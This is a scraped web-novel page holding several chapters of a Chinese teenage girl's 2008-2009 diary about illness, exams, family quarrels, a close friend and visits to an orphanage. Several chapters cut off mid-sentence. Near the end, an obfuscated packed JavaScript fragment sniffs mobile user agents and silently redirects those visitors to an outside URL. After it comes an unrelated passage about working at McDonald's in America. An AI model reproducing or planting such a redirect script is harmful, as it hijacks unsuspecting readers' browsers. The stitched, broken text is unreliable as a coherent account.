等我看到护士在试针头有没有堵，药水喷出的一刹那我心都凉了。护士开始涂棉花球，我全身肌肉紧张。护士说“放松放松！”然后开始推针，我全身开始发抖，护士问你冷吗？” 我哼哼地从牙缝里挤出两个串字，“我怕！” 我拒绝抓住我妈来作依靠，我觉得那将难以预料将发生什么，我宁愿抓木椅的靠背到手发麻。我的食管在我咽与不咽东西的时候都痛，这使我万分不爽！还有我的牙包肉几乎全肿了起来，只为长几颗所谓的小破“智齿”！ 我看我是被烧傻了，要做作业了，快9:30了！ 我妈刚回来，和my father小吵了一下。很简单的原因，我爸认为我妈这几天出去吃饭太频繁，加上我今天生病。男人真的可怕，难道女人一辈子就只能在家煮饭、带孩子？希望毛羽不是这种人。 2008年12月12日 星期五 未知 折腾了快半个晚上才做四道证明题，效率低到这种地步。 凝血慢是因为血小板太少，所以有空上网下查要多吃什么，然后就开始猛补。我妈因为我生病打针吃药很伤身，所以又开始那种从书上看来的放很多中药的汤了，很难喝，但很感动，妈妈就是妈妈。很迟了，好孩子要睡了！明天上午有体育课的！ 2008年12月18日 星期四 晴 因为生病，已经快一周没有写日记了，感觉有点空。发生了很多事。今天我要好好发泄一下，从看病开始吗？可以！ 我先后换了三个医生，至今嘴里的泡疹还在隐隐作痛。我不知道是否披上白大褂就可以看病救人。手上的淤青还在，挂瓶有这么伤吗？屁股也还在痛，真的是我神经太敏感吗？至今每天往肿起的上颚和牙包肉上涂冰硼散，我还是可以痛到脸青，确实是痛吧！从生病以来，因为上呼吸道感染我一直吃线面，用猪脑汤炖、用水鸭汤煮，天天吃得我看着就想哭。于是开始吃米糊，就是我从小就爱吃的东西，还是婴儿专用。不过多泡几包也是恶心。毕竟婴儿的味觉没有我这么发达。不过因为厚厚的舌苔，我的味觉已经褪化了很多了。今天我终于吃到了饭。虽说是汤泡饭，但是大米让我兴奋，于是忍痛吃了挺多。 想来我现在看到东西就想吃，每天都怀念可以咀嚼东 19. 高一（上）一月至二月 《觉醒日记》全本免费阅读 2009年1月5日 星期一 晴 我并没有特别想干什么，只是想理一理，09年的这五天来我经历了什么，得到什么，失去什么，我知道我理不清楚，只是有那种感觉在，一到写的时候就什么也没有了。 我有花时间想自己和别人之间的关系，发现自己对固定一个人依赖，所以觉得凡事都要和他说，有什么都要和他分享，可是却发现这样做很累。我们的友情并不被他人理解，我不知道真的有完全理解我们的人存在吗？如果有，那现在应该是我们三个玩得好了吧！但毕竟大家都是人，再好也有个度。当我忽然发现有时候我和他真的不一样，他的行为很难接受甚至讨厌，我的心里会不由自主地难过，有时甚至是失望。 我在想，为什么没有完全符合我心意的人呢？不过既然我会有这种想法，那他也可能会有，纵使我们之间的信任度是99％，但缺点真的可以被包容吗？或许他可以包容我的一切，那我呢？老实说，我做不到。至今我都不敢保证会愿意永远和他好朋友下去，感情的事没有人说得清楚。但我们都会尽力，因为道理都懂:到现在真的不容易。阻碍依旧在，我要坚强走下去，不一定沿路有人陪，有些事情我要独自承受。 于是我决定不再敷衍，直接睡觉！ 2009年1月6日 星期二 晴 现在很撑，实在是吃太多了。这段时间过来一直是动不动就撑到，脸也圆了起来，作业很多，想睡觉！ 2009年1月7日 星期三 阴雨 睡了一觉，忘记了一些不愉快的事。洗了头又洗了澡，我开始热乎乎地坐在书桌前，准备一场恶战的开始。于是决定先用日记热笔。 我不喜欢屎老师的事，父母再次批评，我可以无视这件事情的发生。 今天是周三，再五天就期末考，至于我该如何如何发挥，只有天晓得！ 2009年1月17日 星期六 晴 一转眼考试就结束。伴着寒假的到来，一切又开始了。我不想提及我的期末成绩，因为依旧悲惨而落寞。我已经不记得事情是怎么开始的了，有点累，有点颓唐吧！我不指望还有不读书成绩依旧好的日子过，那不可能，所以老老实实读我的书吧！还是那句话:让别人的愤怒贝鬼去吧！ 2009年1月18日 星期日 晴 今天发生了很多事情，再次发现自己的口语很差。不仅口语差吧！还有语法也不怎么样。我知道自己需要加油了！ 发现自己还是没有做什么，没做什么作业，没看什么书，没……哎！下午有点疯，有点狂，有点晕……一杯圣代，一勺下去就少一个坑，不知道有多少人都喜欢草毒味，不知道有多少人在小时候喜欢在家长喂饭时咬勺子？加上每个人在看手相的时候因为自己有权有钱而激动到发抖吗？那我的手相呢？可以活到吗？可以让人心情变好吗？看样子是可以的哦！ 一边听“最想”一边写日记有点奇怪。前面听到有人说“物理难学！”然后就有好多人回复说一些莫名其妙的点子，比如:只做大题，不去看填空选择！再比如说把公式背得烂熟，等套公式套到自己也不知道什么是什么了，你物理就学成了！我联想到我的物理，狗屎吧！I hate屎老师来的！ 2009年1月21日 星期三 阴 放假以来连写日记都倦怠了。不知道是不是因为每天都花时间倾诉而忘记了写日记这档子事了。 每到假期我总是存有许许多多的美好幻想。例如自己老早就写好寒假作业，或者复习完前一学期的功课，再者是比别人多练了几篇字也好，结果往往是想的多做的少。不过平时就思维活跃的我在假期就近乎疯狂了。可以想象给原本就不羁的思想放假是怎么的事！ 于是我开始了妄想症，就从我的生命开始。因为父母一句表扬的话我开始飘飘然，觉得我的生命就是神奇的开始。在千千万万的爱细胞的组成下，我幸运诞生，感谢一切值得感谢的事物，毕竟我存活在世界上了。做了一个幸福的女儿。 后来，我慢慢成长，从丑小鸭开始脱变…… 就是现在，我常感到莫名的幸福，会发呆甚至傻笑。我又在想，现在的日子是多 20. 高一（下）二月 《觉醒日记》全本免费阅读 2009年2月4日 星期三 阵雨 今天算是开学了，无聊至极。脚很酸，看到同学和老师毫无兴奋之感，反而有些讨厌。我再不喜欢开学，讨厌的日子又要开始，去考我该死的年段前五十！ 2009年2月6日 星期五 晴 很快，已经立春了，我想着我要开始努力。今天心血来潮买了一本帐本，或许是想好好记点什么吧！只是觉得开始的有点迟了。对毛羽无限思念，外教也去了别地，为什么跟我混得好好的人都走了呢？这两天的课我着实没有状态，这就是命吗？不管怎样，我要去吃午饭了…… 周五的晚上，我和我爸妈小闹了一场，因为电影。我不知道为什么自己就是没胆和他们吵，不管怎么样，最大的勇气也只是沉默不语。我一直是一个人，因为结伴是不被允许的，是遭人唾弃的。很伤心，也对自己失望，我又哭了。我讨厌别人看似充满理由的关心，因为结果总是在不理解上又加一层淤怒。忽然自己变得很愤世嫉俗，说不定最俗的人是我。因为环境和他人，我在与角色与角色之间不断转换，累坏了……社会在进步，我唯一的出路还是读书。等到五十岁的我已不再光彩照人，知识会成为我的财富吗？只有天晓得。我讨厌现在的这种无所事事，可我又喜欢什么呢？又开始犯蠢了！ 又是一团怒火在心头哈！ 2009年2月8日 星期日 晴 一大早的起来很是没劲。昨天家里闹了一晚上，我算是累到了，觉得有点愤愤。毛羽到新学校报到，祝他好运！手机还回去了，联系又成了困难，这就是命啊！ 算了，我还是干点正事，比如看看参考书什么的。似乎我又懒散了起来，若是这样，香港大学怎么办？ 2009年2月9日 星期一 晴 今天是元宵，月亮很圆的，我仍旧是待在家里。不是真的要读书啊什么，只是不想去凑热闹。不知道毛羽怎么样了，一个人还好吗？爸妈又说我不努力，可能我天生就不是那类人吧！我希望可以一切都好。我又想洗头了。 2009年2月14日 星期六 晴 在此之前，我从没想过毛羽去外地会对我如此大的影响，现在我真正发现，我的痛苦开始与日俱增，我害怕的事似乎已经开始——我开始下陷。我静下心来决心自救，眼泪却不受控制地流下来，仿佛它已经不受理智主宰。我每天至少有一次发现它们又涌动了。 我知道没有人可以帮我，我索性把这当成一次锤炼。人总要成长，与其坐等凋亡，不如殊死一搏！清空大脑，静下来…… 想:心如止水…… 2009年2月17日 星期二 阴雨 不知道为什么，我在回家路上开始烦躁起来，心里有无法言语的愤怒。也不知道是因为数学考砸觉得伤自尊，还是因为官官～随意对别人说我的理想而引起别人的嘲笑而恼怒？我的情绪一点也不稳定，于是我在毛羽的反复“为什么？”下冲他发火，我真的是气到头了。或许他生我的气了，所以不肯接电话，再或许他去做什么事没听见吧！但愿是第二种，可是我觉得他是生气了。最近我老是发火、生气、挂他电话，或许我对他真的过分了，因为他也不好受吧！我却一点也不理解他，不体谅他……我可能打了有十几个电话了吧！他一个也不接，看样子真的生气了，对不起，毛羽！ 2009年2月19日 星期四 晴 自从我和“photo”这玩意打上交道就很让人抑郁了。那起码有快1万的细胞死在那里了，那真是一笔巨大的财富。我悔的肠子都青了。就是这样，说明万事不能着迷，一旦……后果不堪设想。 文理分科的事大致就落定了，我只能无奈地选择理科。既然决定了，我只能义无反顾了。其他的问题，那都是后话。 但是我的毅力到底可以走多远？闹钟坏了，可时间还在走。我已经长大了，却对以往感到恐惧，我真的荒废了太多，从学习开始就一直是这样。性格迥异吧！一直想考的大学，以及我的理想不断地被他人否定，我不知道这是为什么？我觉得也没必要知道吧！日子总要过，不管别人怎么看，我都要打起12分的精神。接下来是物理、化学、数学、英语、语文、生物！一切都近在咫尺，等我去拿啦！～ 香港大学的一切都令我兴奋不已，这就是我梦想的大学，能力至上！英语，就是我最大的方向！ 2009年2月22日 星期日 多云 今天下午去学校报到，非常没劲！新的班级没让我觉着有多大的新生力量，竞争是很强啦！就是我仍旧不喜欢。直到现在我还是什么作业都没做，我真的不知道就这样港大收不收？很奇迹的一件事，小鹏坐在我后面！真不知这是什么世道哈～～～ 听着广播一边想着让人快乐的事，流畅地写日记真的开心！发现最近写日真的有点倦怠，学习也是倦怠的！因为犯着文昌位吗？哈哈……我莫明地开心真的是难得呢！发现最近的文笔还真是有点烂呢！不过没有关系！以我微笑 21. 高一（下）三月至六月 《觉醒日记》全本免费阅读 2009年3月5日 星期四 中雨转阵雨 转眼间又是三月份了，去年的事仿佛仍在眼前，我的生日要到了——16周。超过15岁了，我总觉得自己开始老了，害怕超过15岁，更不希望自己到了二十岁的那年。马上又要期中考了，我知道自己必须要进入前50了，这是目标，也是任务。我的状态也说不清是怎么样的，不好说吧！总得来说，加油啰！ 明天又要考化学了，一旦没及格，屎老师就要找我谈话了。我讨厌那种过于关心的眼神。关心我的人太多，真的有点累。我真就那么优秀吗？我一点也不觉得……时间又在一分一秒地过去了，我想，我也该静下心来复习化学，至少明天还是美好的，这点我相信！ 2009年3月10日 星期二 晴 头痛、胃痛、手酸、脚酸、感冒难受！我真的受不了每天这么乱糟糟的。 2009年3月11日 星期三 阵雨 今天请了一节课的假去看病，本来看病不是什么好事，可我却显出兴奋。过度劳累是对我的病情总结！当医生告诉我“21金维他”真的有21种维生素，我被吓到了，似乎对人类医学界的这一壮举感到吃惊。 下午我迟到很久，发了令人不愉快的英语考卷，我算是惨败了。我决定以后再不让自己这样轻易被别人超过了，侮辱性的语言我实在是无法忍受了！晚上的数学作业很多，我头一直痛，不清醒。哎！就快期中考了，我要开始着手复习了吧！省得被别人唾弃！明天早上的政治我看还是算了吧！额……开始做数学吧！！ 2009年3月19日 星期四 晴 天气转热，我的心情却转凉，考了几场试，我都以失败告终。数学那个周而复始的“45”，很让人阴影。我一定要振作！看着别人的成绩我心里也急，只是仍旧没能找到出路。我还是自救吧！马上到来的期中考啊！扪心自问，似乎我除完成作业外就真的没读书了，所以，我想我要加油了！ 2009年3月22日 星期日 阵雨 哭哭啼啼的凌晨和中午，奇奇怪怪的下午和热热闹闹的晚上。我想，我确实是要奋斗了。我身边的每一个人都很优秀，我必须加油了！ 2009年3月27日 星期五 雨 迷乱的三月让人头晕目眩了。感情与时间，地域的纠葛，因连绵的雨变得迷朦哀伤。玫瑰的刺因花朵的绚丽也变得美丽，水晶球里永远下着缤纷的雨。 我在彷徨中被一切吞噬，偶尔有人向这片黑暗观望，啧啧地发出一两声无关紧要的评论，让人觉得世态炎凉、兵荒马乱。另一个天堂的妄想不再使人迷醉，却像是刀在绞碎原本向善的心。现实无情地告诉我，童话是虚像，在诗人虚实相生的句子里，我嚼到一丝愤恨的哀伤。闪电而后的雷雨很能够畅快人心，只是过后的伤痛再难以抚平，我要逃走！逃到没有人的地方！很伤心，我自己就是个人，摆脱不了自己的束缚，到哪儿也没用罢！ 阳光，雨露，我和多少孩子一样成长。妈妈说:“只希望我快乐！”我在整理心情的翅膀，即将展翅飞翔…… 2009年3月31日 星期三 阴 考试的日子真的近了，应该说是逼近吧！我的脑袋开始抽痛。一个字累。似乎是在长牙了，牙包肉也痛。该死的数学练习册我欠下了一屁股，现在麻烦了，明天就要交了，这就是命，我真的不见棺材不落泪，见了棺材也还悠悠悠啊～～不过我真不知道自己什么时候可以振作起来，想法依旧很多，就让我去一一实现吧！加油！ 2009年4月1日 星期六 阵雨 不知道为什么，总是在自己需要努力的时候感到惆怅，那种难以抹去的淡淡忧伤。倾诉的对方是很千奇百怪的，我就待在房间，说给所有在听的东西听。开心的时候或者伤心的时候都会拿起床上的娃娃，对它哭对它笑。白色是友情熊，黑色是爱情的猫。白色清新、透彻是忠厚的熊，黑色神秘伤痛而美丽是难以琢磨的猫。 脑子很乱，心很乱，楼上的脚步和琴声更乱，连接而断续，像人的思维流畅又闭塞。我把阴郁熬成了想念，在雨声的另一头，赫然是ing！听花，听雨，听我说：“爱在继续……” 2009年4月19日 星期日 阵雨 荒芜中我将重生！伟大的青春正值高潮，十六岁的我要坚强起来，我会变得无坚不摧！70％开始咆噪，我的能量开始发醇，永远讨厌考试却对它不离不弃的我啊！重新振作开始起跑。 该死的生物和物理没有及格，这并不影响教育学家壮丽的史诗！风刮呀刮的冷，我却依旧穿着我的大短裤！雨泼呀泼，我依旧懒得带伞。烦人的物理课可以小憩，安逸的生物课上可以游神，这种过程享受，结果痛苦的日子将天翻地覆地过去，我将迎来新生的时代，不再逃避作业的苦闷，不再对长得抱歉的人反胃，不再趾高气昂地想当然，我要开始奋斗！从脚下的每一步开始，一步一脚印！ 坚强的我不屑于流泪；没有人看得见曾经的辉煌，除了等待时间，不，时间快的无需等待。一天天逝去，我将长大，大到自己觉得自己已经熟透，风一吹就掉到地上，“我愿意无条件接受这次的考试结果！”我对自己说。啊！我又来了，一堆堆的教参只是用钱换来的废纸，一层层书本是岁月换来的结晶。我吞下了废纸没嚼，嚼了结晶没配水，好干！ 我不要时间干巴巴地过，不愿水汩汩地流，我要改变！做自己可以做的事。我逃避死亡就说明我是害怕未知的，如果我的努力可以换来多一些些的预见性提示，何乐而不为呢？吃饭的时候吃饭，睡觉的时候睡觉吧！做一个简单，快乐而小有作为的人！ 2009年4月25日 星期六 阴 我背负了太多不想承受的东西，所谓的理解背后总是莫明的矛盾。我不喜欢违背自己的意愿做什么，现在却心甘情愿地做了。就算为我的前途吧！ 2009年5月3日 星期日 阵雨 “五一”过得很荒乱，急急忙忙，担惊受怕……果真考试砸了就注定不会有好日子，现实就是这么残酷，我无奈…… 木木就着她姐嫁人的问题发表了诸多感慨。我去查证了一下有关化妆品牌的问题，女人真的很可怕。木木的总结是，为什么读书？这是唯一的出路，考一所好大学，为找一份好工作，好工作意味着高收入，这就意味着要进入上流社会，一切的最终目的就是嫁个好老公。女人要打扮，贴在脸上的钱就无法计算，还要穿衣服，鞋子，手饰，包……从内到外，全是用钱铺出来的。现实很残酷，就在这里。如果以我父母的收入加起来供一个人都是望尘莫及的。所以，父母给了我这一个平台，我就需要更加努力了，接下去的一切都必须由我自己做主，由我自己负责…… 修养就是用知识堆起来的，千古以来的万千事例证明——读书是我唯一的出路，这世界上有许许多多双眼睛在看我成长，经历多了就是财富，事实证明现在的我不可以脆弱，不可以退缩的。就此奋斗，为了很多很多，我有我的动力和信念。 2009年5月4日 星期一 晴 忙碌了一天，却只有在一个人的时候才能卸下面具，伪装，从一只羊变成狼。猎人的手已被鲜血沾湿，嗜血的苍蝇在周围飞……我身上承载的东西太多，有无数的不相干也被强加进来，头晕脑胀。啐啐念也会让我心烦，面对父母我愧疚又迷惘。一直想一个人，想到觉得自己什么都不是了，只剩下一个意念，很模糊，我还活看吗？金钱、名誉？我是如此矛盾的一个人，读书是我唯一的出路，所以，真真，对不起了，好好加油吧……这就是命，说没也就没了…… 2009年5月9日 星期六 晴 我觉得自己很没用，眼看自己心爱的一切受伤害，自己却无能为力。或许真的不是别人的错，是自己让自己太累了…… 中午在一种几经孕酿却又微妙痛苦的时候，我勇敢地“Say goodbye！”我出乎自己意料地冷静，或许是太痛苦后的麻木。在这件不被看好和祝福的事件中，我担承了怎样的角色？有很多很多的美好幻想，再想到下一个不知道会有什么样的感觉？对她说对我同样的话？那我又算什么？我什么也留不下吧！或许仅存的一点记忆是关于我的“多么多么不堪！”我理解为什么说要交出自由，可是这不是“不自由”，而是“限制和监控”。 时间是良药，久了就会忘记，那我呢？我会忘记吗？我又会被忘记吗？矛盾是一切的开始！下午的补课有点累，不对，是我一向都把自己弄得很累。我还是那样的人，那个对每个好朋友都会很好很好的人，只是我的房间又空了，又只有我一个了。被别人碰过的本属于我的东西我不要！ 无奈是永远的无奈，我还是那个我。纵使有千千万万的压力我也要好好的活。我不希望自己成为别人的负担。没有来自我的烦恼和拖累，希望他可以重新找到真正的自己，拥有属于自己的一片天。 2009年5月10日 星期一 晴 我好难过好难过，我并没有得到我应得到的尊重，就因为成绩不突出吗？等着吧！到最后看谁瞧不起！一切的根源都是我自己，好孩子，不要再抱怨了，加油吧！ 2009年5月26日 星期二 雨 这几天在看木木借给我的《撒哈拉的故事》，不知为什么有一种说不出的对故事的信服，甚至于流泪。人生存在世界上，真的很渺小。 妈妈今天生病了，我真的很无助，我不知道自己可以做什么，但突然觉得妈妈此时更需要的是爸爸，而不是我。其实我现在有很多事情要做，只是我却选择不去做它。我随自己的性子胡来，但又深知自己没有一辈子过这种生活的能力。人是如此的矛盾…… 2009年6月2日 星期二 阵雨 才几天，我又过起了游游荡荡的日子。做完作业就开始看《堂吉诃德》，除此之外就是瞎想、犯困。估计今天去英国是不可能的了，可恶的甲型HIN1，破灭啦！至于剩下的，我也不知道。 很多自认为经典的感慨我都懒得记下来，所以不免又觉得有点可惜。周五就考化学、物理了，13号就会考电脑了，有点虚………做生物吧！ 2009年6月7日 星期日 晴 上午去庙里为自己求了一签，只求菩萨教我怎么做。之前说太多什么结果也没有，签如下: 第九十八签 下签 出入求谋事迟疑，只恐闲愁惹是非。如鸟飞入罗网里，相逢能有几多时。 解：守旧随时，待贵人至。 曰：若问诸般，主事定迟。 我觉得菩萨真的明白了我的心意，只求一条出路，心诚则灵，我明白这个道理。我现在要做的就是脚踏实地，按照原本的样子随时间过去，总会有贵人相助的。真真，加油！ 晚上我找回了自己久违 22. 高一（下）七月 《觉醒日记》全本免费阅读 2009年7月2日 星期四 雨 连续下了两天的雨，也结束了第一天的期末考，考得不坏也不好。我忍受了很久很久毛羽的冷淡，我知道或许我得习惯了。原来我有心啊！我一直都有，一直一直都有，它会难过，会伤心，会受伤，是肉长的，刚看了一篇名为尊严的文章，我的尊严又在哪里呢？ 一个晚上游游荡荡，就是静不下来，该死的手机。我很感激上天给我官官这样一个好同桌，谢谢她为我做的一切。她让我明白我曾经是那么的耀眼，曾经又多么颓唐，现在据说恢复一半了，我要加油变回原来的那个我！不，是更优秀的我，一定可以的！加油！！ 所以，等下继续复习英语吧！奋斗奋斗！ 2009年7月5日 星期日 阵雨 终于结束了冗长的期末考。 毛羽回来了。毛羽他妈还是不喜欢我，这个我也没办法。 明天打算去福利院，因为有想法去那里做义工，总要先去探探，要是万一承受不住就……好困的。 2009年7月6日 星期一 晴 考试结束了，结果让我失望了，化学没及格，或许还得补考。 下午去了福利院，很有感触。觉得自己真的很幸福，是个健全的孩子。我一直忘不了一个小男孩的微笑，可他的左手残疾了。那里的孩子不是脑瘫就是肢体不健全，一个个脸上却都是纯真的笑。我一进去他们就齐声叫：“姐姐好！”我对他们微笑着，却又忍不住辛酸。那里的阿姨给我讲了许多关于那些孩子的事。比如有一个小男孩，阿姨教他认“1”就认了一个月，后来认了2又认了5，可是只要把123连在一起，他又忘了2。这里的小朋友也学古诗，但记一首要几个月的时间。我在课程表里看到了音乐、美术、手工，看到他们打上100分贴了许多贴贴纸的作业，看到他们的一张张照片，觉得他们好可爱。 阿姨有讲到被领养到美国、西班牙的几个她带大的孩子，声音里有几分欣慰与不舍，我佩服她对这些孩子们的耐心。看到那些孩子因手脚不便帮着互相喂零食，觉得好感动。他们叫我一起上去玩，不断地向我说“姐姐好”，高兴地上音乐课，听到老师拉二胡兴奋得尖叫，含糊地唱着歌。 阿姨说，每次有人来看他们，他们总是很兴奋，有一次有幼儿园的小朋友来却被吓哭了。我确实是做了心理准备去的，看到和我一样年龄的女孩只有两三岁儿童的智商，说话含糊不清，叫我“姐姐”的时候，心很痛。福利院的阿姨很善良，她们帮我倒了水，给我看照片，看福利院六一晚会的录像。 从福利院出来我感触很深，我深知自己是一个很幸福很幸福的孩子。上一次去福利院已经是很早以前的事了，那时不太懂事，只记得看见一个兔唇的小婴儿吧！现在我明白，好好学习，不仅为了自己，也为了回馈社会。 2009年7月8日 星期三 未知 在昏黄的路灯下，我看见一只强壮的白猫躬起背，竖着尾巴，转着耳朵，机警地向四处张望，一对姜黄泛光的双眼扫过我并确认我对他无害后又继续张望。我冲猫笑笑，看他不动也就失了兴趣。可当我习惯性回头时，却发现那只白猫跟在一只弱小掉毛的灰猫后面横穿马路。白猫依旧躬着背，小心翼翼地左右看着，那子像是跟踪。 我也跟着猫横穿过马路，内心对自己进行了谴责，可猫的神奇行为使我产生的兴趣大于交规。灰猫到对面了，他一回头见到了白猫，白猫像要躲避后退了几步。灰猫继续向前，白猫依旧隔了一定距离跟着。灰猫绕着着一棵树走了几圈，前爪趴在了一个做成树根形状的水泥垃圾筒边缘，后爪着地，神秘地向四周巡视，白猫一躲闪，用树干遮住自己的身体。灰猫跳进了垃圾筒，却依旧把头探出来向外看。这时白猫正把身子紧贴在垃圾筒上，绕着它移动，似乎想着灰猫何时会突然出现或者在寻找另一个出口。 我正集中精力观察的时候，一个阿姨过来把垃圾筒里的灰猫赶走了。我很气愤地看灰猫要到马路到另一边，白猫跟在其后，我学了一声猫叫想留住它们。灰猫回过头来善意地看了我一眼又继续向前走，我又叫了一声，我看见灰猫犹豫了一下，很快拐进一个黑暗的巷口，白猫依旧躲闪着跟了进去。我叹了口气，时间不早，只好回家…… 我在回家的路上一方面对那阿姨破坏了我看猫的乐趣而愤恨，一方面又为着我自己学猫叫让真猫驻足而高兴。 在柴火间的过道里传出一只猫长长短短的叫声，我想着春天已然过去，大夏天的猫又叫什么呢？我无心再去理它，只管往楼道里走。一边走，一边高高低低或间断着学着猫叫。在声控灯下，墙上的各种小广告张牙舞爪的黏在墙上，我用冗长的一声猫叫结束了今晚的瞎逛。准备进门，却发现墙上的小广告泛起银光，那一张张丑陋的廉价薄纸变成了一张张印有小猫爪的报纸头条，上面除了“头条”两字以外都是大大小小的“喵”。 一些先亮起来的小广告又暗下去恢复了原来的样子，我赶忙撕下两张就近的广告纸匆忙跑回家中。我在台灯下细细端详这张印着五颜六色猫爪和大大小小“喵”的广告纸。一共是六个“喵”字，每个喵”字后分别用括号标注着“1秒”、 “2秒”、“1秒”、“0.5秒”、“1秒”、“0.2秒”。我抱着尝试的心态根据标注时间长短“喵喵”叫了一遍，两张纸上竟同时出现了文字。 “头条:抓耗子国国王嫌王妃生育能力低下决定娶一只超级小白鼠回国作皇后！全国民众游行申讨！”（我觉得世界好疯狂，耗子给猫当新娘，难道猫不知道猫和耗子有生殖隔离吗？） “头条:捉老鼠国总统夫人想去美国旅观游光，总统就此表示将去美国进行为期五天的国事访问，美国喵民表示热烈欢迎。” 我嘻嘻笑着盯着两份“头条”，倒觉得猫的思想比人单纯得多，有趣的多。只是这种事让我遇见有点神奇，难道又是现代高科技的恶作剧？我也不打算将这件事告诉别人，由于某种原因，我周围的人不太乐意关心除与自己利益有关的事，即便是一只猫想娶一头超级小白鼠！！ 我们的日子无聊复无聊，还是很无聊，这件有意思的小事也算是为我无趣的生活增添几分乐趣。 2009年7月9日 星期三 晴 今天算是真的彻底放假了，因为跳操的只有我一个属于未成年人，所以和她们没话说。不知道为什么，看着那些女人努力地为自己的身材跳啊跳啊的，真的觉得做女人好累……我很无奈，不过凑合凑合跳吧！反正是锻炼身体的！麻烦！！ 2009年7月11日 星期六 晴 这几天看了《人性的弱点》，觉得实在是生活真帝。并不说教你多伟大，只是让你看清这个世界，认清人性。我打算做几份小抄，按卡耐基说的做，那生活就肯定很美妙。 1犯再大错误的人都会为自己辩护，不要过分地批评责备别人； 2想让别人做你希望他们去做的任何事，唯一的方法就是满足他们的需要； 3看到别人的优点，真诚地赞美对方； 4保持本色； 5有效处理急需解决的问题，根据问题重要程度安排先后，对必须当场决定的问题不要犹豫不决，学会有效授权； 6从精神上放松自己； 7假装我很快乐，假装我喜欢这份工作，让自己有快乐的行为和思想； 8不要把时间浪费在我们不喜欢的人身上； 9不要指望别人感激你，自己要享受施惠的快乐； 10盘算我所拥有的，想我得意的事，不去理会烦恼； 11学会把柠檬变成柠檬汁，从损失中受益。 现在只到这儿了，假装我已经成功了！！！ 接上 12善待别人，增添自己的健康和快乐； 13不公正的批评通常是另一种恭维，是对你成就的另一种认可； 14不要怕别人怎么说，做你自己认为对的事。 2009年7月13日 星期一 晴 从福利院回来了好一会儿，今天给小朋友带去了一些吃的玩的和贴贴纸，看得出他们很喜欢。现在我一去他们就认识了，都会叫“姐姐好！”今天天泽有叠小船和衣服给我看。 去的时候他们在上课，有的小朋友在描字，有的在做计算，还有他们的手都不灵活，很多孩子学握笔就学了一年，还有孩子学了一年多还没学会。不仅那些小朋友，连老师也喜欢有人去看他们，似乎多了一点活力吧！可后来有一个阿姨进来说我不能待在那儿，上面有文件，现在有甲N，还有禽流感，反正我挨了一下又出来了。临走前，那个和我同龄的女孩用手拍我，示意我她铅笔断了，让我给她削，还有一个男生数学题不会做想要我教，介于我不能久留，阿姨帮我回绝了。阿姨说他们的铅笔老是断，一天要帮他们削几十根，每人的笔盒里都有好几根。每个孩子向我展示他们铅笔的时候总是很自豪，他们喜欢上课，喜欢学东西，也喜欢有姐姐去看他们。 我走的时候和他们说:“姐姐下次再来看你们！”下次是什么时候呢？或许会给他们带去一个转笔刀吧！ 接 15学会自我批评； 16真诚地关心别人； 17牢记他人的名字；

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12907796|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话让Jessica恼了，她大叫，“See! They can understand! I hate Chinese!”我不知道这里的Chinese应该翻译成中文还是中国人，但是这样就可以理解为什么我坚持在麦当劳里说英文。今天我去接了Nancy的班（鬼知道为什么老是让我接她的班），我和她说的是英文，她就说，和我说中文就好，她重复了两遍用中文，我还是用英文回答她，“If we speak Chinese, They will think us gossip. So……”很显然这话她没有听进去……或者说她没有听懂……不管她们怎么看我，这是我的原则。总是想到Jessica的反应，要是我们说了中文，她就会很严肃地说，“No Chinese！”我知道，这是为了我们好～中国人在麦当劳说中文的感觉用Jessica的话就是，“She doesn’t want us understand!”这个She我就不说是谁了，话说Jessica的反应真的是很剧烈啊！不过，剩下的人可能是有意见不说，或者说，从来就没有想过接纳，根本不Care～ 昨天几乎又是炸了一天的薯条，不过有人搭档，就轻松了很多。和我一起炸薯条的是一个十七岁的男生，叫Cameron，因为我看起来只有十七岁（美国大众对我的评价），就算是年龄相仿吧，聊了很多。那就从Cameron开始，聊聊麦当劳的少年们！ Cameron十七岁，现在和奶奶一起住，有两个兄弟和两个姐妹。是个高中生，想要读完高中，但是不怎么喜欢读书。他再过几个月就需要开始Support Himself，因为他父母觉得他够大了，决定不再给他钱。他的右手臂上有一个十字架的纹身，左边的纹身我形容不来，他告诉我右边这个花了200刀，左边这个花了100刀，背上还有一个花了500刀的……我问他纹身的理由，他回答，“It’s cool!”他告诉我万圣节大概在八月，他现在已经不去要糖了，不过他还可以吃妹妹要回来的糖～昨天炸薯条的时候他觉得很饿，因为前一天晚上和昨天早上他都没有吃饭。理由是他前天晚上工作到很迟，回去以后太累了就直接睡了，今天早上一起来就直接来上班。由于他是新来的，老是被安排炸薯条，所以他不怎么喜欢这个岗位…… Issic（我觉得拼错了）二十岁，昨天下午在我快下班的时候教我怎么换脏抹布……他告诉我他和Tempssi（红衣女Boss之一，名字肯定拼错了）一起住！我还在想他们是不是亲戚什么的，他就告诉我，他住的是地下室……就在几个星期前，他被妈妈赶了出来，他妈妈告诉他要Support Himself，所以他就自己找了房子先住下，找了麦当劳的工作养活自己。我问他还是学生吗？他很自豪地回答，高中毕业了！至于大学，他想要上，不过那是明年的事了。 提到上大学我又想到了Felisia（不记得对不对），她十八岁，可是看起来有二十五六了……也是炸薯条认识的（炸薯条很好吧～呵呵……）。谈到上大学，她只是有这么一个念头，感觉是一个很遥远的计划。对比一下十七岁的那个Taylor（游遍欧洲的那个）在谈到上大学就很有自信地说，他要学飞行器动力！麦当劳还有一个Taylor今年十八岁，高中刚毕业，他说他打算去纽约学表演……话说他的歌真的唱的不错！ 还记得Chuavovi吗？就是很早在沃尔玛认识的十八岁女孩儿，她家里有很多姐妹，她因为家庭原因就中断过很多次学业，在自己打工攒够了钱之后又继续读书，现在她也是通过互联网上的大学课程。 回到麦当劳！麦当劳不仅有两个Taylor，还有两个Brandon。第一个Brandon就是之前提过有种族歧视的银白色头发的十七岁小朋友。现在他对我的态度相当好～一直觉得他很奇怪，不过要聊天还是可以的。他有六个兄弟两个姐妹，不过兄弟都是Step Brother（继父或者继母带来的），他从十四岁开始Support Himself，我居然一时傻傻地问了一句Why？！他耸肩，撇嘴，回答，“Because my parents don’t give me 